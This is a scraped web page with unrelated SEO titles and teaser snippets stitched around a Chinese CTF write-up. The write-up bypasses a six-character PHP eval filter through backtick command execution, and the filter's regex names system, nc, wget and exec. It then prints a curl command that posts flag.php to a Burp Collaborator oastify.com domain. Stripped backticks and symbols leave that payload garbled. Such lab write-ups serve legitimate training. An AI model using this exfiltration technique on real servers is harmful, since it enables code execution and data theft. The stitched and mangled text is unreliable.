厦门网站设计开发网页公司广德县住房和城乡建设网站

张小明 2026/1/13 0:34:07
厦门网站设计开发网页公司,广德县住房和城乡建设网站,苏州百度seo关键词优化市场,建设局职责PS#xff1a;萌新ctfer的解题过程#xff0c;如有错误之处恳请师傅们指正 #xff08;做这道题时需要配备BurpSuite专业版#xff0c;可自行查阅相关资料进行配置#xff0c;这里我找了两个链接1、链接2#xff09; 一#xff1a;前置知识 做这道题时我们需要用到Bu…PS萌新ctfer的解题过程如有错误之处恳请师傅们指正做这道题时需要配备BurpSuite专业版可自行查阅相关资料进行配置这里我找了两个链接1、链接2一前置知识做这道题时我们需要用到BurpSuite专业版里的Collaborator模块这是 Burp Suite 中用于检测带外交互漏洞【OBB】参考的核心工具主要通过生成唯一的外部交互地址捕捉目标服务器与外部系统的交互行为从而验证那些无直接回显的漏洞是渗透测试和 CTF 中检测盲漏洞的关键工具。核心功能与作用原理Collaborator 的核心是搭建外部交互桥梁它会生成一个唯一的二级域名如xxxx.burpcollaborator.net我们将这个地址插入到测试的 Payload 中发送给目标服务器。如果目标服务器存在漏洞并执行了 Payload就会主动访问这个外部域名Collaborator Client 会捕获到这次交互并记录详细信息以此证明漏洞存在。二具体题目1.初步判断打开靶场有一下php代码error_reporting(0); highlight_file(__FILE__); //flag.php if($F $_GET[F]){ //GET方式传入F if(!preg_match(/system|nc|wget|exec|passthru|netcat/i, $F)){ //这里要绕过正则匹配 eval(substr($F,0,6)); //从0开始截断F的字符到6位置就是F只读取前六个字符 }else{ die(6个字母都还不够呀?!); } }这里我们发现一个问题F只能传入六个字符那么我们构造不出什么命令可以让之后的eval执行,我没见过这种题所以网上找了别的师傅的WP用的是$F【相当于F本身】反引号 在 PHP 中反引号包裹的内容会被当作系统命令执行等价于shell_exec()函数而shell_exec没有被过滤这是绕过的关键。$F变量这里的$F是 GET 传入的整个F参数的内容PHP 会先解析变量$F再执行反引号中的命令。分号;是 PHP 的语句结束符确保前 6 个字符构成完整的 PHP 语句因此我们的payload格式应该是这样的?F$F; XXXXXXXXXXXXXXXXXXXXX2.具体构造这里就要用到我们之前讲的Collaborator了我们打开BurpSuite的Collaborator模块可以看到是这样的这里的payloads to generate 就是生成我们的Collaborator 带外交互平台的临时域名数量这里我们选择一个就好然后我们点击copy to clipboard【这里点了之后就是直接复制到剪贴版了刚用的时候英文不太好不知道啥意思以为是在下面显示所以按了好久没按出来】下面是我复制的临时域名ffywo4qho06y82ab885yvruocfi76zuo.oastify.com这里先给出我们的payload再一一解释?F$F;curl -X POST -F xxflag.php http://ffywo4qho06y82ab885yvruocfi76zuo.oastify.com1总体结构首先这里最开始的?F$F;就是我们上传的F参数后面的所有都是F里面的内容2curl 命令curl是一个命令行工具/库用来向服务器发送或接收数据支持多种协议HTTP、HTTPS、FTP、SFTP 等。这个curl命令是将本地的 flag.php 文件上传到外部的oastify.com协作服务器也就是我们之前的 Burp Collaborator 类似的带外交互平台从而实现 flag 的外带-X POST使用 POST 请求方式。-F xxflag.php构造表单上传把本地的flag.php文件作为xx字段的值上传到目标地址。有时候ai回答一些基本的问题还是很可以的用好了也是一大助力。这里的xx表单字段是自定义的可以换成别的如file data等等ffywo4qho06y82ab885yvruocfi76zuo.oastify.com是 oastify 的临时域名用于接收上传的文件内容我们可以在 oastify 的后台查看这个请求从而获取flag.php的内容。3.flag获取我们直接将这个payload写在url里面回车上传然后再回到BP查看【我喜欢点一下Poll now】找到HTTP发现flag三结语我们可以再回顾一下总体流程加深一下印象生成Collaborator域名 在Burp Suite专业版中打开Collaborator模块生成临时域名用于接收数据。构造完整Payload 将curl命令拼接到基础Payload发送请求 将构造好的URL提交到目标服务器。查看回传数据 在Collaborator界面点击Poll now查看HTTP请求中携带的flag.php文件内容。还有相应的注意事项确保Burp Suite Collaborator配置正确能接收外部请求curl命令中的临时域名需替换为实际生成的Collaborator域名表单字段名称可自定义但需保持前后一致目标环境需允许出站连接通过这种方法可以突破长度限制实现命令执行并获取flag内容。写在最后这道题我也是第一次用到Collaborator模块又学到了一个新知识【ヽ(✿▽)ノ】其实在最开始描述带外交互漏洞后面的参考链接里有提到诸如SSRF、XXE都用到了这种方法。而常用的工具有大菜鸡师傅录制的视频就是用的DNSlog但我觉得BP的Collaborator功能更强大一点算是各有所好吧。
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

重庆建网站优化安徽网站备案

概率论与数理统计期末复习:大数定理与中心极限定理详解(扩展版)关键词:概率论、数理统计、大数定律、中心极限定理、切比雪夫不等式、依概率收敛、依分布收敛、蒙特卡洛方法、期末复习引言:为什么这两个定理如此重要&a…

张小明 2026/1/11 2:54:49 网站建设

网站搜索优化找哪家中国移动app

量子世界的纠缠与超决定论:从理论到实验的探索 在量子计算领域,耦合图(couplingMap)起着关键作用。它定义了单个量子比特之间的相互作用,同时保持量子相干性。量子比特的耦合对于简化量子电路以及将系统拆分为更小的单元至关重要。 量子纠缠:贝尔态与GHZ态 量子纠缠实…

张小明 2026/1/11 4:19:07 网站建设

手机网站seo软件有帮忙做阿里巴巴网站的吗

FxSound 是一款功能强大的音频编辑工具。它具备了一系列高级音频处理能力,包括音频剪辑、混音和音效调整等。 FxSound 中文版支持多种音频文件格式,使用户能够轻松地进行音频文件的导入和导出操作。FxSound 中文版还配备了多样的音频效果插件&#xff0…

张小明 2026/1/11 4:19:05 网站建设

网站设计是用什么做的网络科技公司骗术

第一章:智谱Open-AutoGLM怎么控制自己的手机通过集成自然语言理解与自动化执行能力,智谱推出的 Open-AutoGLM 模型能够实现对智能手机的智能操控。用户只需以日常语言下达指令,系统即可解析意图并调用设备 API 完成操作。准备工作 确保手机已…

张小明 2026/1/11 4:19:03 网站建设

深圳做装修网站费用网页设计素材分析

这是 SINUMERIK 840D sl / 840D solution line 数控系统的一个关键功能扩展选件。核心作用: 它提供了一套用于提高机床动态精度和进行系统性误差补偿的高级软件功能。如果说 1YG44 侧重于“加工什么”(复杂曲面),那么 1XG41 更侧重…

张小明 2026/1/11 4:19:02 网站建设